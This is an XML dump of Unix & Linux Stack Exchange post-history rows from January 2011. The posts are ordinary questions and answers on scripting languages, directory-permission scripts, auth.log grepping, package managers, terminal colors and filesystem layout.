  <row Id="13382" PostHistoryTypeId="2" PostId="5922" RevisionGUID="63bbcdcf-779c-407c-96cd-d8c0e240036e" CreationDate="2011-01-15T15:44:55.640" UserId="2119" Text="I can neither code Bash nor Python (actually, I am only comfortable with C-like syntax), and, actually, am too busy and lazy to learn them now. But I would like to script some tasks. Is there a scripting language for GNU/Linux, having obvious and comfortable syntax for C/C++/C#/Java developers?" />
  <row Id="13383" PostHistoryTypeId="1" PostId="5922" RevisionGUID="63bbcdcf-779c-407c-96cd-d8c0e240036e" CreationDate="2011-01-15T15:44:55.640" UserId="2119" Text="Is there a scripting language with C-like syntax?" />
  <row Id="13384" PostHistoryTypeId="3" PostId="5922" RevisionGUID="63bbcdcf-779c-407c-96cd-d8c0e240036e" CreationDate="2011-01-15T15:44:55.640" UserId="2119" Text="éscriptingà" />
  <row Id="13385" PostHistoryTypeId="2" PostId="5923" RevisionGUID="67c3ae74-6c83-49c2-9b50-0b34f1a5c8db" CreationDate="2011-01-15T15:50:29.080" UserId="3082" Text="Install and try [tcsh][1]. You can also make it your default shell, if you want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tcsh.org/Welcome" />
  <row Id="13386" PostHistoryTypeId="2" PostId="5924" RevisionGUID="49a5c376-9f2d-4193-aad9-8b3740ec45ff" CreationDate="2011-01-15T15:57:16.933" UserId="872" Text="If you're comfortable with Java, then try [groovy][1], a scripting language based on the Java platform. There is almost zero learning curve.&#xD;&#xA;&#xD;&#xA;[1]: http://groovy.codehaus.org/" />
  <row Id="13389" PostHistoryTypeId="5" PostId="5900" RevisionGUID="79e7b30b-5373-456e-a1a7-a1b063c7ef92" CreationDate="2011-01-15T16:25:07.040" UserId="1207" Comment="deleted 2 characters in body" Text="Rather than using `date | awk ...`, you can use a format specifier with the date command for the format you want. According to the `date(1)` man page, `%b` is the abbreviated month name, and `%e` is the day of month, space padded, same as `%_d`.&#xD;&#xA;&#xD;&#xA;The following date command should give you a string in the form you want:&#xD;&#xA;&#xD;&#xA;    date &quot;+%b %e&quot;&#xD;&#xA;&#xD;&#xA;You can also put other characters into the format specifier, so if you use:&#xD;&#xA;&#xD;&#xA;    date &quot;+^%b %e&quot;&#xD;&#xA;&#xD;&#xA;you'll get a grep pattern that matches the date only at the beginning of the line. This would prevent any false matches where there is a date in the message part of the log.&#xD;&#xA;&#xD;&#xA;As pointed out by Steven D, you can also do this with a single invocation of `grep`:&#xD;&#xA;&#xD;&#xA;    grep -E &quot;$(date &quot;+^%b %e&quot;).*(BREAK-IN|Invalid|user|Failed|refused|su|Illegal)&quot; /var/log/auth.log&#xD;&#xA;&#xD;&#xA;I couldn't test this because today is the 15th, and I don't want to change the date of my system to just test this. But according to the docco, it should work." />
  <row Id="13390" PostHistoryTypeId="5" PostId="5862" RevisionGUID="42bd8aa8-9048-4de5-baec-7dd9c2b7869a" CreationDate="2011-01-15T16:30:01.937" UserId="885" Comment="protect against special characters in file names" Text="I'm not aware of any commands, but it is quite easy to write a script:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash    &#xD;&#xA;    ARG=$1&#xD;&#xA;    while [[ &quot;$ARG&quot; != &quot;.&quot; &amp;&amp; &quot;$ARG&quot; != &quot;/&quot; ]]&#xD;&#xA;    do&#xD;&#xA;            ls -ld -- &quot;$ARG&quot;&#xD;&#xA;            ARG=`dirname -- &quot;$ARG&quot;`      &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    $ perms.sh /tmp/1/2/3/hello.txt&#xD;&#xA;    &#xD;&#xA;    -rw-rw-r--    1 user    group          0 Jan 14 16:59 /tmp/1/2/3/hello.txt&#xD;&#xA;    drwxrwxr-x    2 user    group       4096 Jan 14 16:59 /tmp/1/2/3&#xD;&#xA;    drwxrwxr-x    3 user    group       4096 Jan 14 16:43 /tmp/1/2&#xD;&#xA;    drwxrwxr-x    3 user    group       4096 Jan 14 16:43 /tmp/1&#xD;&#xA;    drwxrwxrwt   12 root     root       4096 Jan 14 17:02 /tmp&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13391" PostHistoryTypeId="5" PostId="5864" RevisionGUID="c41f7c88-b98d-4113-b4b7-73233312a27c" CreationDate="2011-01-15T16:30:40.000" UserId="885" Comment="protect against special characters in file names" Text="How about a recursive bash function for a fun solution:&#xD;&#xA;&#xD;&#xA;    [bash#] function uptree { ( \ls -ld -- &quot;$PWD&quot;; [ &quot;$PWD&quot; = '/' ] &amp;&amp; return; cd ..; uptree ) | column -t ; } &#xD;&#xA;&#xD;&#xA;    [bash#] pwd&#xD;&#xA;    /home/frielp/bin/dev&#xD;&#xA;&#xD;&#xA;    [bash#] uptree&#xD;&#xA;    drwxrwxr-x.  2   frielp  frielp  4096  Dec  14  14:50  /home/frielp/bin/dev&#xD;&#xA;    drwxr-xr-x.  15  frielp  frielp  4096  Aug  23  10:48  /home/frielp/bin&#xD;&#xA;    drwxr-xr-x.  60  frielp  frielp  4096  Jan  14  16:48  /home/frielp&#xD;&#xA;    drwxr-xr-x.  4   root    root    4096  Dec  1   09:14  /home&#xD;&#xA;    dr-xr-xr-x.  23  root    root    4096  Jan  14  08:18  /&#xD;&#xA;&#xD;&#xA;    [bash#] pwd&#xD;&#xA;    /home/frielp/bin/dev&#xD;&#xA;    [bash#] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13392" PostHistoryTypeId="2" PostId="5926" RevisionGUID="b9b66769-6080-4dc3-81a1-6a0b3253498b" CreationDate="2011-01-15T16:34:28.080" UserId="228" Text="Newer versions of Midnight Commander use Alt-o (also ESC followed by o) to do this.&#xD;&#xA;&#xD;&#xA;Older versions used Alt-o for doing a change directory to the currently highlighted directory, so it will depend on which build you are using." />
  <row Id="13393" PostHistoryTypeId="2" PostId="5927" RevisionGUID="dcf6546f-b74b-42d3-b27d-9d852e2a526c" CreationDate="2011-01-15T16:41:32.600" UserId="885" Text="[Pike](http://en.wikipedia.org/wiki/Pike_%28programming_language%29) is a scripting language with a C-like syntax. You've never heard of it? Consider this a point against: it's rarely installed by default, it doesn't have many libraries, there's not much literature about it, there aren't many people who can help you with it…&#xD;&#xA;&#xD;&#xA;Just pick Perl or Python, the two major scripting languages on unix systems (plus the shell, but it's a trickier language and has a less general scope.). The syntax is only 1% of learning a language anyway. I'd recommend Python as the simplest of the two.&#xD;&#xA;" />
  <row Id="13395" PostHistoryTypeId="2" PostId="5928" RevisionGUID="6ab0f329-1cde-4f96-8083-9707504a5f6c" CreationDate="2011-01-15T16:59:04.370" UserId="2180" Text="If you really want to program in C but not have the long steps of compiling &amp; linking, check out the [TCC: the Tiny C Compiler][1]. It even supports running via shebang.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bellard.org/tcc/" />
  <row Id="13396" PostHistoryTypeId="2" PostId="5929" RevisionGUID="118daad4-7084-4418-8073-8573e81616d6" CreationDate="2011-01-15T18:34:38.063" UserId="1207" Text="The utility you may be thinking of is the `namei` command.  According to the manual page:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;  Namei  uses  its  arguments  as &#xD;&#xA;&gt; pathnames to any type of Unix file&#xD;&#xA;&gt; (symlinks, files, directories, and so&#xD;&#xA;&gt; forth).  Namei then follows each&#xD;&#xA;&gt; pathname until a terminal point is&#xD;&#xA;&gt; found (a file, directory, char device,&#xD;&#xA;&gt; etc).  If it finds a symbolic link, we&#xD;&#xA;&gt; show the link, and start following it,&#xD;&#xA;&gt; indenting the output to show the&#xD;&#xA;&gt; context.&#xD;&#xA;&#xD;&#xA;The output you desire can be received as follows:&#xD;&#xA;&#xD;&#xA;    $ namei -l /usr/src/linux-headers-2.6.35-22/include/&#xD;&#xA;    f: /usr/src/linux-headers-2.6.35-22/include/&#xD;&#xA;    drwxr-xr-x root root /&#xD;&#xA;    drwxr-xr-x root root usr&#xD;&#xA;    drwxrwsr-x root src  src&#xD;&#xA;    drwxr-xr-x root root linux-headers-2.6.35-22&#xD;&#xA;    drwxr-xr-x root root include&#xD;&#xA;&#xD;&#xA;The `namei` command is part of the [linux-util-ng][1] software package.  See the  [manual page][2] for more details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/pub/linux/utils/util-linux-ng/&#xD;&#xA;  [2]: http://manpages.ubuntu.com/manpages/maverick/en/man1/namei.1.html" />
  <row Id="13397" PostHistoryTypeId="2" PostId="5930" RevisionGUID="6509f1d1-4890-4a6b-bcce-56d9d12af9e9" CreationDate="2011-01-15T18:56:46.453" UserId="3496" Text="Both pacman and powerpill don't seem to be working on my Arch installation. I'm sure my Internet connection is working. The download just starts in powerpill but speed remains zero. In pacman, there's an error saying 'No file address found'. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="13398" PostHistoryTypeId="1" PostId="5930" RevisionGUID="6509f1d1-4890-4a6b-bcce-56d9d12af9e9" CreationDate="2011-01-15T18:56:46.453" UserId="3496" Text="pacman and powerpill not working" />
  <row Id="13399" PostHistoryTypeId="3" PostId="5930" RevisionGUID="6509f1d1-4890-4a6b-bcce-56d9d12af9e9" CreationDate="2011-01-15T18:56:46.453" UserId="3496" Text="éarchölinuxàépacmanà" />
  <row Id="13400" PostHistoryTypeId="2" PostId="5931" RevisionGUID="bafe51af-f9d0-44e8-8d92-f22628516bc5" CreationDate="2011-01-15T19:00:27.200" UserId="3844" Text="I am **not** an Unix/Linux admin.&#xD;&#xA;&#xD;&#xA;I was attempting to install git on our server, and after much googling and trial and error, I discovered that perl* is excluded in our yum.conf file, preventing perl-Git from installing, which is a dependency of git-core.  I understand what this does, but I'm not sure *why* it has been done.  There are a lot of things excluded in this file, and I just want to understand the reasons one might want to exclude something, whether it's a security issue, or what.&#xD;&#xA;&#xD;&#xA;Our original server administrator was killed in a boating accident.  We are using CentOS 5.4, and I am using yum for my attempts at installing git." />
  <row Id="13401" PostHistoryTypeId="1" PostId="5931" RevisionGUID="bafe51af-f9d0-44e8-8d92-f22628516bc5" CreationDate="2011-01-15T19:00:27.200" UserId="3844" Text="For what purpose would perl* be excluded in yum.conf?" />
  <row Id="13402" PostHistoryTypeId="3" PostId="5931" RevisionGUID="bafe51af-f9d0-44e8-8d92-f22628516bc5" CreationDate="2011-01-15T19:00:27.200" UserId="3844" Text="écentosàépackageömanagementàéyumàégità" />
  <row Id="13403" PostHistoryTypeId="2" PostId="5932" RevisionGUID="b9a8f554-7d91-498e-b70b-a7639b1ca00e" CreationDate="2011-01-15T19:30:20.440" UserId="2256" Text="Update your mirrorlist file(/etc/pacman.d/mirrorlist). And run &quot;pacman -Sy&quot; before trying to install a package. You can use kernel.org's mirrors:&#xD;&#xA;&#xD;&#xA;Server = ftp://mirrors.kernel.org/archlinux/$repo/os/$arch&#xD;&#xA;" />
  <row Id="13404" PostHistoryTypeId="25" PostId="5931" RevisionGUID="5dbec73c-e0ef-43a8-98b7-dc463cb488a6" CreationDate="2011-01-15T19:55:34.680" Comment="http://twitter.com/#!/StackUnix/status/26366904574676992" />
  <row Id="13405" PostHistoryTypeId="2" PostId="5933" RevisionGUID="b19a5f13-2750-49d0-bece-9ac60cd68998" CreationDate="2011-01-15T20:19:43.053" UserId="885" Text="It might make sense to temporarily exclude a package from installation if the available version is known to be buggy, though this would rarely occur on a server where one generally installs distributions that don't update often except for bug fixes.&#xD;&#xA;&#xD;&#xA;A reason that comes to mind for excluding perl specifically is if there is a separate installation of perl, possibly directly from CPAN, possibly shared or synchronized with other machines on the network to ensure consistent sets of installed libraries and versions. Look in `/usr/local` or `opt` for an alternate perl installation, check for a `PERL5LIB` setting in `/etc/profile`. I wouldn't do it that way, because as you noticed it will break dependencies, but I can see why someone might be tempted.&#xD;&#xA;&#xD;&#xA;Maybe if you post the full set of exclusions someone will spot a pattern. Is there any comment in the file that might give a hint?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;To avoid this kind of issue in the future, you should put all configurations under version control. Then the changelog would indicate when the surprising configuration was set up, and hopefully why.&#xD;&#xA;&#xD;&#xA;On Debian/Ubuntu I use [etckeeper](http://kitenet.net/~joey/code/etckeeper/), which I think has been packaged for CentOS too. On a multi-administrator machine, it should be set up never to commit changes automatically, forcing the administrator to make an explicit commit before they can run `yum install` or `yum update`.&#xD;&#xA;" />
  <row Id="13406" PostHistoryTypeId="2" PostId="5934" RevisionGUID="4fa55958-b7fc-42b3-82af-cd83a6bc1e5f" CreationDate="2011-01-15T21:07:46.227" UserId="3038" Text="[Ch][1] is a C and C++ interpreter, it can be used for scripting.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Ch_interpreter" />
  <row Id="13407" PostHistoryTypeId="5" PostId="5900" RevisionGUID="4bcdfcc1-7f20-4151-a9e1-fbb133ada3f7" CreationDate="2011-01-15T22:32:37.117" UserId="1078" Comment="added 1393 characters in body" Text="Rather than using `date | awk ...`, you can use a format specifier with the date command for the format you want. According to the `date(1)` man page, `%b` is the abbreviated month name, and `%e` is the day of month, space padded, same as `%_d`.&#xD;&#xA;&#xD;&#xA;The following date command should give you a string in the form you want:&#xD;&#xA;&#xD;&#xA;    date &quot;+%b %e&quot;&#xD;&#xA;&#xD;&#xA;You can also put other characters into the format specifier, so if you use:&#xD;&#xA;&#xD;&#xA;    date &quot;+^%b %e&quot;&#xD;&#xA;&#xD;&#xA;you'll get a grep pattern that matches the date only at the beginning of the line. This would prevent any false matches where there is a date in the message part of the log.&#xD;&#xA;&#xD;&#xA;As pointed out by Steven D, you can also do this with a single invocation of `grep`:&#xD;&#xA;&#xD;&#xA;    auth()&#xD;&#xA;    {&#xD;&#xA;        grep -E &quot;$(date '+^%b %e')&quot;'.*(BREAK-IN|Invalid|user|Failed|refused|su|Illegal)' /var/log/auth.log&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I've made a few changes based on issues mentioned in comments related to quoting. My rules for quoting are to use single quotes when grouping separate words into a single word and to protect against shell expansion of metacharacters, and to use double quotes only when you want to expansion inside a multi-word string.&#xD;&#xA;&#xD;&#xA;The original answer had the `date` format string in double quotes, which was wrong according to my above rules. I've now changed that. An edit put the grep string into double quotes. I've put it back into single quotes because there is so often an overlap between shell metacharacters and grep regular expression (RE) metacharacters that you almost always want to single-quote REs to grep. The current string may not need single quotes but if this shell function evolves over time, it may break with future changes.&#xD;&#xA;&#xD;&#xA;Because the question was asking about a command to put inside an alias, there was an additional level of quoting that was not shown in this answer. It would be simpler to use a shell function instead of an alias so you don't need to deal with this extra level of quoting. Nested quoting can get messy quickly, so anything you can do to avoid it, you should do.&#xD;&#xA;&#xD;&#xA;I couldn't test the date-related command because today is the 15th, and I don't want to change the date of my system to just test this. But according to the docco, it should work. I have tested the shell function to verify that the quoting is correct and you get the correct results when running the command `auth`." />
  <row Id="13408" PostHistoryTypeId="25" PostId="5922" RevisionGUID="cf8c9c3b-5d79-4085-aab5-a62ec1ac84f7" CreationDate="2011-01-15T22:55:35.077" Comment="http://twitter.com/#!/StackUnix/status/26412204836261888" />
  <row Id="13409" PostHistoryTypeId="2" PostId="5935" RevisionGUID="367caec3-82f0-478a-9b0b-b705c9c543c7" CreationDate="2011-01-15T23:39:29.467" UserId="3848" Text="There are many UNIX-based systems.  Linux, AIX, Solaris, BSD, etc.  The original quote gives historical context that applies to all flavors.  If you look on any one specific system, you will see different results.  The last sentence of the original quote is specific to only some " />
  <row Id="13410" PostHistoryTypeId="2" PostId="5936" RevisionGUID="de6633e8-bcd9-4438-9533-b49e3c9d9896" CreationDate="2011-01-15T23:44:14.437" UserId="3847" Text="I have a color scheme that I like for when I'm in a terminal, but I ssh into the machine I work on from multiple sources (locally, PuTTY, my netbook, etc.) and I want to maintain the same color scheme throughout. Is this possible?&#xD;&#xA;&#xD;&#xA;Especially want it in PuTTY; it's a bitch to change PuTTY colors." />
  <row Id="13411" PostHistoryTypeId="1" PostId="5936" RevisionGUID="de6633e8-bcd9-4438-9533-b49e3c9d9896" CreationDate="2011-01-15T23:44:14.437" UserId="3847" Text="Can I set my local machine's terminal colors to use those of the machine I ssh into?" />
  <row Id="13412" PostHistoryTypeId="3" PostId="5936" RevisionGUID="de6633e8-bcd9-4438-9533-b49e3c9d9896" CreationDate="2011-01-15T23:44:14.437" UserId="3847" Text="ésshàéterminalàécolorsà" />
  <row Id="13418" PostHistoryTypeId="5" PostId="5936" RevisionGUID="ab62af8c-5a7f-4e31-8e48-de48897aee00" CreationDate="2011-01-16T00:03:59.203" UserId="73" Comment="added 4 characters in body" Text="I have a color scheme that I like for when I'm in a terminal, but I ssh into the machine I work on from multiple sources (locally, PuTTY, my netbook, etc.) and I want to maintain the same color scheme throughout. Is this possible?&#xD;&#xA;&#xD;&#xA;I especially want it in PuTTY; it's difficult to change PuTTY colors." />
  <row Id="13419" PostHistoryTypeId="5" PostId="5932" RevisionGUID="d7778203-3706-4bf4-889e-c72ace69c8ab" CreationDate="2011-01-16T00:04:45.910" UserId="73" Comment="added 4 characters in body" Text="Update your mirrorlist file(/etc/pacman.d/mirrorlist). And run &quot;pacman -Sy&quot; before trying to install a package. You can use kernel.org's mirrors:&#xD;&#xA;&#xD;&#xA;    Server = ftp://mirrors.kernel.org/archlinux/$repo/os/$arch&#xD;&#xA;" />
  <row Id="13420" PostHistoryTypeId="2" PostId="5937" RevisionGUID="17f06223-562b-4bcc-9d60-ea5b56bbb9f6" CreationDate="2011-01-16T00:39:22.490" UserId="885" Text="[Colors in terminals](http://en.wikipedia.org/wiki/ANSI_escape_code#Colors) are determined in two steps:&#xD;&#xA;&#xD;&#xA;* the program running in the terminal tells the terminal to use a certain color number;&#xD;&#xA;* the terminal translates each color number into a color value.&#xD;&#xA;&#xD;&#xA;Xterm has an [escape sequence](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms) to change the color value associated with a color number. I don't remember whether PuTTY supports this sequence; I know [Mintty](http://code.google.com/p/mintty/) does.&#xD;&#xA;&#xD;&#xA;    set_color_value () {&#xD;&#xA;      printf &quot;\\e]4;$1;$2\\a&quot;&#xD;&#xA;    }&#xD;&#xA;    set_color_value 4 '#6495ed'  # set color 4 (blue) to CornflowerBlue&#xD;&#xA;&#xD;&#xA;These settings won't survive a terminal reset. You can overcome this difficulty by appending the cursor configuration changing sequence to your terminal's reset string.&#xD;&#xA;&#xD;&#xA;* On a terminfo-based system using ncurses, save your terminal's terminfo settings to a file with `infocmp &gt;&gt;~/etc/terminfo.txt`. Edit the description to change the `rs1` (basic reset) sequence, e.g. replace `rs1=\Ec` by `rs1=\Ec\E]4;4;#6495ed\E\\`. With some programs and settings, you may need to change the `rs2` (full reset) as well. Then compile the terminfo description with `tic ~/etc/terminfo.txt` (this writes under the directory `$TERMINFO`, or `~/.terminfo` if unset).&#xD;&#xA;* On a termcap-based system, grab the termcap settings from your termcap database (typically `/etc/termcap`). Change the `is` (basic reset) and `rs` (full reset) sequences to append your settings, e.g. `:is=\Ec\Ec\E]4;4;#6495ed\E\\:`. Set the `TERMCAP` environment variable to the edited value (beginning and ending with `:`).&#xD;&#xA;&#xD;&#xA;Now you can put something like this in your `~/.profile`:&#xD;&#xA;&#xD;&#xA;    if [ &quot;$(ps -p $PPID -o comm=)&quot; = sshd ] &amp;&amp;&#xD;&#xA;       [ &quot;$TERM&quot; = &quot;xterm&quot; ]; then&#xD;&#xA;      set_color_value … # set color scheme&#xD;&#xA;      TERMCAP=…  # if necessary&#xD;&#xA;    fi&#xD;&#xA;" />
  <row Id="13421" PostHistoryTypeId="5" PostId="5897" RevisionGUID="c54523f0-bb21-4ce8-94b0-fb3b7bc94b40" CreationDate="2011-01-16T00:55:02.227" UserId="3613" Comment="missing ." Text="This could easily be made a one-liner. This is not recursive and should be a relatively fast way of doing this in bash. Calling *pwd* in each loop isn't particularly fast, so avoid if you can.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    if [ -n $1 ]; then&#xD;&#xA;        echo &quot;Usage: $0 [FILE]&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;    pushd $(pwd) &gt;/dev/null&#xD;&#xA;    cd $1&#xD;&#xA;&#xD;&#xA;    IFS=&quot;/&quot;&#xD;&#xA;    for dir in $(dirs -0); do&#xD;&#xA;        stat -c &quot;$(pwd) %A&quot; .&#xD;&#xA;        cd ..&#xD;&#xA;    done&#xD;&#xA;    popd &gt;/dev/null&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Alternative, a one-liner for the pwd. Uses eval to shortcut the &#xD;&#xA;&#xD;&#xA;    pushd $(pwd) &gt;/dev/null; eval 'IFS=&quot;/&quot;; for dir in $(dirs -0); do stat -c &quot;$(pwd) %A&quot; .; cd ..; done'; popd &gt;/dev/null" />
  <row Id="13422" PostHistoryTypeId="5" PostId="5897" RevisionGUID="dc623a25-7506-489a-94ee-ce077d496b84" CreationDate="2011-01-16T01:17:45.610" UserId="885" Comment="pushd and popd aren't actually used for anything; added missing double quotes and set -f; use parentheses to keep settings local" Text="This could easily be made a one-liner. This is not recursive and should be a relatively fast way of doing this in bash. Calling *pwd* in each loop isn't particularly fast, so avoid if you can.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    if [ -n &quot;$1&quot; ]; then&#xD;&#xA;        echo &quot;Usage: $0 [FILE]&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;    cd -P -- &quot;$1&quot;&#xD;&#xA;    IFS=&quot;/&quot;&#xD;&#xA;    set -f # turn off globbing for the expansion of $PWD below&#xD;&#xA;    for dir in $PWD; do&#xD;&#xA;        stat -c &quot;$PWD %A&quot; .&#xD;&#xA;        cd ..&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Alternative, a one-liner for the current directory.&#xD;&#xA;&#xD;&#xA;    (IFS=&quot;/&quot;; set -f; for dir in $PWD; do stat -c &quot;$PWD %A&quot; .; cd ..; done)&#xD;&#xA;" />
  <row Id="13423" PostHistoryTypeId="25" PostId="5936" RevisionGUID="c19b2be5-e34d-433c-a440-dec5bc1bc027" CreationDate="2011-01-16T01:55:35.723" Comment="http://twitter.com/#!/StackUnix/status/26457506628767744" />
  <row Id="13424" PostHistoryTypeId="2" PostId="5938" RevisionGUID="dbbc59bf-a8de-4f8d-a9a8-54b47c930f22" CreationDate="2011-01-16T02:04:17.290" UserId="29" Text="You're `ssh`-ing into just *one* box right? why not just set the `PS1` variable on that box to use the colorscheme you want? If you keep it to 16 colors you shouldn't have a problem on any modern `TERM`." />
  <row Id="13425" PostHistoryTypeId="5" PostId="5938" RevisionGUID="ef45bcd8-e3c9-433c-a802-e26accbe4a73" CreationDate="2011-01-16T02:32:32.240" UserId="29" Comment="more info" Text="You're `ssh`-ing into just *one* box right? why not just set the `PS1` variable on that box to use the colorscheme you want? If you keep it to 16 colors you shouldn't have a problem on any modern `TERM`, most should support 256 colors, but most don't set `TERM=xterm-256color` out of the box, and some fools (*cough* my employer *cough*) sanitize `TERM` to be alpha-numeric only. Unfortunately what to put in your `PS` vars, is highly dependent on the shell you are using." />
  <row Id="13426" PostHistoryTypeId="5" PostId="3258" RevisionGUID="8899d817-f210-4252-9701-38a4bb51c043" CreationDate="2011-01-16T02:48:14.233" UserId="29" Comment="added 74 characters in body; added 46 characters in body; added 6 characters in body; added 22 characters in body" Text="&lt;p&gt;&#xA;    Unix and Linux - Stack Exchange is for &lt;span class=&quot;revision-comment&quot;&gt;users of Linux, FreeBSD and other Un*x-like operating systems.&lt;/span&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;a name=&quot;ontopic&quot;&gt;&lt;/a&gt;&#xA;If your question is about:&#xA;&#xA;* Using or administering a *nix desktop or server&#xA;* The Unix foundation underlying MacOS (but generally *not* frontend application questions)&#xA;* The underlying *nix OS on an embedded system or handheld device (e.g. an Android phone)&#xA;* Shell scripting&#xA;* Applications packaged in *nix distributions *(note: being [cross-platform does not disqualify](http://meta.unix.stackexchange.com/q/97/29))*&#xA;* UNIX C API and System Interfaces *( [within reason](http://meta.unix.stackexchange.com/q/314/29) )*&#xA;&#xA;then you're in the right place. Note that **Ubuntu posts are a special case**. If your question applies to Ubuntu only, or you're looking for answers that are Ubuntu-specific, you should post it on the [Ask Ubuntu](http://askubuntu.com/) Stack Exchange site. If your question applies to other distros or you welcome more generic solutions, you're in the right place here.&#xA;&#xA;Cross-posting is [strongly discouraged](http://meta.stackoverflow.com/questions/64068/is-it-possible-to-post-questions-across-a-couple-of-the-sites-because-its-debata/64073#64073) -- if you post on one site and then change your mind it can always be migrated to another. If you're not sure if your question is on-topic, [ask on meta](http://meta.unix.stackexchange.com/questions/ask) or just [give it a try](http://unix.stackexchange.com/questions/ask) and the community will decide." />
  <row Id="13427" PostHistoryTypeId="2" PostId="5939" RevisionGUID="6ccbad8b-a284-40ad-8b72-eb7227d9e81a" CreationDate="2011-01-16T03:17:12.667" UserId="3853" Text="Hi there. I installed Ubuntu 10.04 LTS to a VPS server i'm renting and get that. Have no clue about what's related. &quot;Googling&quot; i found no answers besides &quot;re install&quot;, the thing is I already did that 3 times with same result.&#xD;&#xA;&#xD;&#xA;Any tip? Thanks!" />
  <row Id="13428" PostHistoryTypeId="1" PostId="5939" RevisionGUID="6ccbad8b-a284-40ad-8b72-eb7227d9e81a" CreationDate="2011-01-16T03:17:12.667" UserId="3853" Text="Filesystem type is ext2fs, partition type 0x83" />
  <row Id="13429" PostHistoryTypeId="3" PostId="5939" RevisionGUID="6ccbad8b-a284-40ad-8b72-eb7227d9e81a" CreationDate="2011-01-16T03:17:12.667" UserId="3853" Text="éubuntuàébootàégrubà" />
  <row Id="13430" PostHistoryTypeId="5" PostId="5900" RevisionGUID="77e5eca2-f9f8-4320-90d0-5381c2037594" CreationDate="2011-01-16T03:27:55.973" UserId="1078" Comment="deleted 208 characters in body" Text="Rather than using `date | awk ...`, you can use a format specifier with the date command for the format you want. According to the `date(1)` man page, `%b` is the abbreviated month name, and `%e` is the day of month, space padded, same as `%_d`.&#xD;&#xA;&#xD;&#xA;The following date command should give you a string in the form you want:&#xD;&#xA;&#xD;&#xA;    date &quot;+%b %e&quot;&#xD;&#xA;&#xD;&#xA;You can also put other characters into the format specifier, so if you use:&#xD;&#xA;&#xD;&#xA;    date &quot;+^%b %e&quot;&#xD;&#xA;&#xD;&#xA;you'll get a grep pattern that matches the date only at the beginning of the line. This would prevent any false matches where there is a date in the message part of the log.&#xD;&#xA;&#xD;&#xA;As pointed out by Steven D, you can also do this with a single invocation of `grep`:&#xD;&#xA;&#xD;&#xA;    auth()&#xD;&#xA;    {&#xD;&#xA;        grep -E &quot;$(date '+^%b %e')&quot;'.*(BREAK-IN|Invalid|user|Failed|refused|su|Illegal)' /var/log/auth.log&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I've made a few changes based on issues mentioned in comments related to quoting. My rules for quoting are to use single quotes when grouping separate words into a single word and to protect against shell expansion of metacharacters, and to use double quotes only when you want to expansion inside a multi-word string.&#xD;&#xA;&#xD;&#xA;The original answer had the `date` format string in double quotes, which was wrong according to my above rules. I've now changed that. An edit put the grep string into double quotes. I've put it back into single quotes because there is so often an overlap between shell metacharacters and grep regular expression (RE) metacharacters that you almost always want to single-quote REs to grep. The current string may not need single quotes but if this shell function evolves over time, it may break with future changes.&#xD;&#xA;&#xD;&#xA;Because the question was asking about a command to put inside an alias, there was an additional level of quoting that was not shown in this answer. It would be simpler to use a shell function instead of an alias so you don't need to deal with this extra level of quoting. Nested quoting can get messy quickly, so anything you can do to avoid it, you should do.&#xD;&#xA;&#xD;&#xA;I have tested this as a shell function, using Gilles suggestion for futzing the date and it &quot;works for me&quot;." />
  <row Id="13431" PostHistoryTypeId="5" PostId="5939" RevisionGUID="37b6e206-766e-491f-858e-0583f12ae79c" CreationDate="2011-01-16T03:38:39.440" UserId="3853" Comment="Added more info.; added 71 characters in body" Text="Hi there. I installed Ubuntu 10.04 LTS to a VPS server i'm renting and get that critical error when booting preventing the rest of the boot process to continue. &#xD;&#xA;&#xD;&#xA;Have no clue about what's related. &quot;Googling&quot; i found no answers besides &quot;re install&quot;, the thing is I already did that 3 times with same result.&#xD;&#xA;&#xD;&#xA;Any tip? Thanks!" />
  <row Id="13432" PostHistoryTypeId="5" PostId="5916" RevisionGUID="5c20deec-17ac-4877-934a-b789dad05052" CreationDate="2011-01-16T03:52:46.430" UserId="29" Comment="comment on standards" Text="What? no `/bin/` is not a symlink to `/usr/bin` at least not on any FHS compliant system.&#xD;&#xA;&#xD;&#xA;[`/bin`](http://www.pathname.com/fhs/pub/fhs-2.3.html#BINESSENTIALUSERCOMMANDBINARIES)&#xD;&#xA;&lt;blockquote&gt;contains commands that may be used by both the system administrator and by users, but which are required when no other filesystems are mounted (e.g. in single user mode). It may also contain commands which are used indirectly by scripts&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;[`/usr/bin/`](http://www.pathname.com/fhs/pub/fhs-2.3.html#USRBINMOSTUSERCOMMANDS)&#xD;&#xA;&lt;blockquote&gt;This is the primary directory of executable commands on the system.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;essentially, `/bin` contains executables which are required by the system for emergency repairs, booting, and single user mode. `/usr/bin` contains any binaries that aren't required.&#xD;&#xA;&#xD;&#xA;I will note, that they can be on separate disks/partitions, `/bin` must be on the same disk as `/`. `/usr/bin` can be on another disk.&#xD;&#xA;&#xD;&#xA;For full correctness, some unices may ignore FHS, as I believe it is only a Linux Standard, I'm not aware that it has yet been included in SUS, Posix or any other UNIX standard, though it should be IMHO." />
